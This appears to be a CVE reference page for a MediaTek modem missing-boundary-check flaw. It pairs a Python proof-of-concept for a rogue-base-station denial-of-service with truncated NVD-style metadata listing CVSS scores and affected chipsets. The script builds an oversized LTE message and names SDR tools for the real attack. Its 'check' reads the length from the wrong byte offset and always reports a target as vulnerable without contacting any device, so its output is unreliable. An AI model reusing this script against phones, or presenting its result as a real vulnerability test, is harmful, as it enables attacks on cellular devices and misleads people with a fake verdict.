CVE-2025-20751

#!/usr/bin/env python3 """ CVE-2025-20751 PoC - MediaTek Modem Boundary Check Missing This PoC demonstrates the concept of exploiting missing boundary checks in MediaTek modem firmware via rogue base station attack. Note: Actual exploitation requires SDR hardware and LTE/5G protocol knowledge. """ import struct def generate_malicious_lte_message(): """ Generate a malicious LTE RRC message with oversized fields to trigger boundary check vulnerability in MediaTek modem """ # LTE RRC Connection Setup message with malformed IE msg = bytearray() # Message header msg.extend(b'\x00\x01') # PDCP entity ID msg.extend(b'\x00\x10') # Logical Channel ID # Malicious Information Element with oversized length msg.extend(b'\x00') # IE type # Vulnerable: Missing boundary check on length field # Attackers can set arbitrary large length value oversized_length = 0xFFFF # Maximum possible value msg.extend(struct.pack('>H', oversized_length)) # Fill with data exceeding expected buffer size msg.extend(b'\x41' * 65535) # 'A' padding to overflow buffer return bytes(msg) def simulate_modem_crash(): """ Simulate the buffer overflow condition that leads to crash """ BUFFER_SIZE = 256 # Expected buffer size # Simulate vulnerable code: # memcpy(buffer, attacker_data, attacker_controlled_length); malicious_msg = generate_malicious_lte_message() # Extract length from message (vulnerable parsing) length = struct.unpack('>H', malicious_msg[3:5])[0] # Without boundary check, this causes overflow if length > BUFFER_SIZE: print(f"[VULNERABLE] Length {length} exceeds buffer size {BUFFER_SIZE}") print(f"[CRASH] Buffer overflow triggered - modem crash imminent") return True return False if __name__ == "__main__": print("CVE-2025-20751 PoC - MediaTek Modem Boundary Check Missing") print("=" * 60) if simulate_modem_crash(): print("\n[!] Target is vulnerable to remote DoS via rogue base station") else: print("\n[+] Target appears patched or not vulnerable") # Note: Actual exploitation requires: # 1. Software-defined radio (SDR) like USRP or HackRF # 2. OpenAirInterface or srsLTE for LTE network simulation # 3. Custom protocol implementation to send malformed messages # 4. Proximity to target device for wireless attack

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ID del parche: MOLY01661195; ID del problema: MSV-4297."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:nr15:-:*:*:*:*:*:*:*", "matchCriteriaId": "E30A2D2E-6A72-4070-A471-EEE75F7D07F2"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt2735:-:*:*:*:*:*:*:*", "matchCriteriaId": "7F1D09FC-5BE9-4B23-82F1-3C6EAC5711A6"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6833:-:*:*:*:*:*:*:*", "matchCriteriaId": "9814939B-F05E-4870-90C0-7C0F6BAAEB39"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6833p:-:*:*:*:*:*:*:*", "matchCriteriaId": "CB690F5A-9367-45D3-A53E-80BF60053630"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6853:-:*:*:*:*:*:*:*", "matchCriteriaId": "366F1912-756B-443E-9962-224937DD7DFB"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6853t:-:*:*:*:*:*:*:*", "matchCriteriaId": "328DA6BE-1303-4646-89B7-2EC8DC444532"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6855:-:*:*:*:*:*:*:*", "matchCriteriaId": "89AFEE24-7AAD-4EDB-8C3E-EDBA3240730A"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6855t:-:*:*:*:*:*:*:*", "matchCriteriaId": "083F6134-FF26-4F1B-9B77-971D342AF774"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6873:-:*:*:*:*:*:*:*", "matchCriteriaId": "F6B8A36E-C5FB-44AE-A1C3-50EBF4C68F6B"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6875:-:*:*:*:*:*:*:*", "matchCriteriaId": "80BDC5EC-E822-4BC7-8C0D-E8AD8396E8FE"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6875t:-:*:*:*:*:*:*:*", "matchCriteriaId": "F883C6D3-1724-4553-9EFC-3D204FF3CAA3"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6877:-:*:*:*:*:*:*:*", "matchCriteriaId": "7CA9352F-E9BD-4656-9B7C-4AFEE2C78E58"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6877t:-:*:*:*:*:*:*:*", "matchCriteriaId": "EFA54AA1-4E3A-44F8-A222-31C60F8F81DA"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6877tt:-:*:*:*:*:*:*:*", "matchCriteriaId": "5D4D6885-E18C-477F-8B6D-B9E84D9535E2"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6880:-:*:*:*:*:*:*:*", "matchCriteriaId": "68CF4A7A-3136-4C4C-A795-81323896BE11"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6883:-:*:*:*:*:*:*:*", "matchCriteriaId": "15E2EC3F-9FB3-488B-B1C1-2793A416C755"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6885:-:*:*:*:*:*:*:*", "matchCriteriaId": "DD64413C-C774-4C4F-9551-89E1AA9469EE"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6889:-:*:*:*:*:*:*:*", "matchCriteriaId": "3B787DC3-8E5A-4968-B20B-37B6257FAAE2"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:*", "matchCriteriaId": "171D1C08-F055-44C0-913C-AA2B73AF5B72"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6891:-:*:*:*:*:*:*:*", "matchCriteriaId": "D8E91CA4-CA5B-40D1-9A96-2B875104BCF4"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6893:-:*:*:*:*:*:*:*", "matchCriteriaId": "213B5C7F-D965-4312-9CDF-4F06FA77D401"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8675:-:*:*:*:*:*:*:*", "matchCriteriaId": "03E6123A-7603-4EAB-AFFB-229E8A040709"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8771:-:*:*:*:*:*:*:*", "matchCriteriaId": "0D09F23D-D023-4A60-B4 ... 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